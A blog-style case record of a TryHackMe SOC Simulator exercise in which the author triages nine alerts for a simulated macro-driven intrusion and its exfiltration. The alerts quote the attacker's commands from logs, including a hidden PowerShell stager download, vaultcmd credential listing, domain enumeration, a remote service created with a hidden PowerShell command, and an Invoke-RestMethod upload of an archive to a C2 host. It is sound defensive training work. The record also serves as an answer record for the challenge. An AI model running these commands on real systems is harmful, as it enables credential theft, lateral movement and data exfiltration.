Skip to main content

Repossessed (TryHackMe SOC Simulator): Case Report Record

Updated 7 min readMarkdown
Repossessed (TryHackMe SOC Simulator): Case Report Record

Link to the SOC Simulator on TryHackMe

Scenario: TryHatMe Studios, launch of the NeuralNexus platformer. A Marketing workstation spawns a process it should not. 9 alerts, simulated environment. Clock note: use the event timestamp in each alert, not the queue time (the queue runs 1 to 2 minutes off). After a simulation restart, all event times shifted by about 2.5 minutes. Times below are from the later session. Search note: the host field holds the ingest endpoint (10.10.232.67:8989). Filtering on host="THM-..." returns zero. Filter on ProcessGuid, SourceIp, file paths or IPs instead.

Attack chain (event times)

Time Event Alert
17:35:36 WINWORD.EXE opens Q3_PressKit_Feedback.docm and spawns hidden encoded PowerShell (PID 8572) 6353
17:35:39 First connection to paylink-cdn.thm (45.147.230.131:8067); stager downloads svchost_update.ps1 6354
17:35:41 vaultcmd /listcreds:"Windows Credentials" (PID 9356) 6355
17:40:41 net user /domain, net group "Domain Admins" /domain, nltest /dclist in 172 ms 6356
17:41:41 net use \\THM-SREYES\C$ (6356 context)
17:42:41 svc-mktshare accesses C$ and IPC$ on THM-SREYES from 10.60.10.22 (6357 context)
17:43:11 Service SvcUpdate installed (4697), LocalSystem, runs the script via cmd.exe /c start /b powershell ... 6357
17:46:06 sc \\THM-SREYES start SvcUpdate; script starts on THM-SREYES as SYSTEM 6357
17:50:02 7z.exe a -mx=1 C:\Windows\Temp\nx_build_beta.7z C:\Dev\NeuralNexus\Build\* 6359
17:51:05 Invoke-RestMethod -Method Post -InFile nx_build_beta.7z to paylink-cdn.thm:8067/upload 6360
17:48:11 CrashReportArchiver task uploads crash logs to telemetry-vendor.thm:443 (FALSE POSITIVE) second exfil-rule alert

Things the logs could not prove (state these in reports)

  • Where svc-mktshare credentials came from (vault enumeration is a likely source, unconfirmed).
  • Command output (process logs do not capture it): treat the domain user list and vault entries as exposed.
  • The macro inside the .docm (inferred from the extension and Word spawning PowerShell) and how the file reached the user.
  • Whether the archive existed on disk (no file-create event) and whether the upload was received (attempt only).
  • Decoy: ai.exe (Office ML helper, .onnx argument) started by Word 1 ms before the malicious PowerShell is benign.

Alert 6353: Suspicious Child Process Spawned (Execution)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:36

  • Related: THM-MSMITH (10.60.10.22), TRYHATME\m.smith, WINWORD.EXE PID 6184, C:\Users\m.smith\Downloads\Q3_PressKit_Feedback.docm, 32-bit powershell.exe PID 8572 (GUID {3af46175-3907-6a90-951d-000000001200}).
  • Why TP: Word launched PowerShell with -NoP -W Hidden -Enc. Decoded: downloads http://paylink-cdn.thm:8067/svchost_update.ps1 to %TEMP% and runs it hidden with ExecutionPolicy Bypass. Code from outside the organisation ran.
  • Why escalate: initial execution of a multi-host intrusion.
  • Remediation: isolate hosts, quarantine the docm, block the C2, remove the script, reset credentials, restrict macros.
  • Indicators: the docm path, the encoded command, the stager URL, %TEMP%\svchost_update.ps1, 45.147.230.131:8067.

Alert 6354: Suspicious Outbound Connection Following Document Execution (C2)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:39

  • Related: same host, PID 8572 (first connection) and PID 9356 (52 later connections), destination paylink-cdn.thm / 45.147.230.131:8067.
  • Why TP: 53 connections between 17:35:39 and 17:56:02 (about 20 min 23 s) to an external IP on a non-standard port, starting 3 seconds after Word spawned PowerShell. No business relationship; destination hosts the payload and later received the archive upload.
  • Why escalate: C2 channel of an active intrusion.
  • Remediation: block the domain and IP, isolate hosts, hunt for other connections.

Alert 6355: Anomalous Credential Vault Access (Credential Access)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:35:41

  • Related: THM-MSMITH, m.smith, VaultCmd.exe PID 10872, parent PowerShell PID 9356 running svchost_update.ps1 from the user Temp folder.
  • Why TP: vault listing launched by a hidden, policy-bypassing script named like a system file, on a Marketing workstation, not by support staff.
  • Credentials exposed: /listcreds lists entries, the output is not logged, so treat every Windows vault credential on the host as exposed.
  • Remediation: isolate, reset m.smith and all vault credentials, remove the script.
  • Indicators: vaultcmd /listcreds:"Windows Credentials", the script path, parent GUID {3af46175-390a-6a90-991d-000000001200}, csc.exe compile at 17:35:41.026.

Alert 6356: Rapid Domain and Host Enumeration from Non-Administrative Host (Discovery)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:40:41

  • Related: THM-MSMITH, m.smith, PID 9356, DC-01.
  • Why TP: three enumeration commands in 172 ms from a hidden script on a standard-user Marketing host; targets Domain Admins and domain controllers; followed by lateral movement.
  • Evidence limitation: command output is not captured; treat domain users and Domain Admins membership as exposed.
  • Remediation: isolate, reset, review privileged accounts, review DC-01 logs, detect net/nltest bursts from non-admin hosts.

Alert 6357: Suspicious Remote Logon and Service Creation (Lateral Movement)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:43:11

  • Related: THM-SREYES (10.60.10.20), source THM-MSMITH (10.60.10.22), TRYHATME\svc-mktshare (Logon ID 0x24F6572), service SvcUpdate (LocalSystem, manual start), sc \\THM-SREYES create SvcUpdate binpath= "cmd.exe /c start /b powershell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\svchost_update.ps1".
  • Why TP: service binary path is a hidden PowerShell command, not an executable; network logon (Type 3) from 10.60.10.22; C$ and IPC$ access at 17:42:41; service started at 17:46:06 and the script ran as SYSTEM.
  • Why escalate: SYSTEM-level execution on a second host with a compromised service account.
  • Remediation: reset svc-mktshare, delete SvcUpdate, isolate both hosts, hunt for 4697/7045 and the script name, restrict remote admin-share access for service accounts.

Alert 6359: Suspicious Archive Utility Execution (Collection)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:50:02

  • Related: THM-SREYES, SYSTEM, PowerShell PID 14264 (GUID {3af46175-3bfc-6a90-a41c-000000001100}), 7z.exe PID 9104, C:\Dev\NeuralNexus\Build\*, C:\Windows\Temp\nx_build_beta.7z.
  • Why TP: 7-Zip launched by the hidden script (script block at 17:50:01), archive written to C:\Windows\Temp not a backup location, same process beaconing to the C2 before and after, same script as 6355.
  • Evidence limitation: no file-create event for the archive.
  • Remediation: isolate, block the C2, preserve the script, assess exposure of the NeuralNexus build.

Alert 6360: Suspicious External Connection Following Archive Creation (Exfiltration)

Verdict: True positive | Escalation: Yes | Time: 2026-10-25T17:51:07 (upload script block 17:51:05)

  • Related: THM-SREYES, PID 14264, paylink-cdn.thm / 45.147.230.131:8067, nx_build_beta.7z.
  • Why TP: script block shows Invoke-RestMethod -Method Post -InFile C:\Windows\Temp\nx_build_beta.7z to the C2; 15 connections from 17:46:06 to 17:55:49 (about 9 min 42 s) at roughly 30 s intervals; non-standard port, unapproved destination.
  • Wording: attempted exfiltration; receipt by the server and bytes sent are unconfirmed.
  • Remediation: isolate, block, check proxy logs for upload size, notify legal and management.

Second exfiltration-rule alert: CrashReportArchiver (17:48:11)

Verdict: False positive | Escalation: No | Time: 2026-10-25T17:48:11

  • Related: THM-SREYES, powershell.exe PID 12408, scheduled task CrashReportArchiver, C:\ProgramData\CrashReports\crashlogs.7z, telemetry-vendor.thm (104.18.32.47:443).
  • Why FP: launched by the Task Scheduler service; archives only *.log crash files; HTTPS on 443; 2 connections 1 ms apart, not a beacon; upload failed (event 4100); no link to the svchost_update.ps1 chain.
  • Remediation: no response; tune the detection to exclude this task and vendor.
  • Open check: whether the vendor is on an approved list in the Documentation tab.

Alert 6352

Not captured in this record. Same rule as 6353 (Suspicious Child Process). Likely the Office helper ai.exe, which is benign. Add its verdict here if you want the record complete.

Writeup plan

Frame as a TryHackMe SOC simulator case study, not a real incident. Teach the method (linking alerts by process GUID, queue vs event time, the host= filter trap, the false positive, what the logs could not prove). Avoid listing answer values as a walkthrough, and check the room's rules on publishing.

About the author

  • Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

No comments yet. Be the first to comment.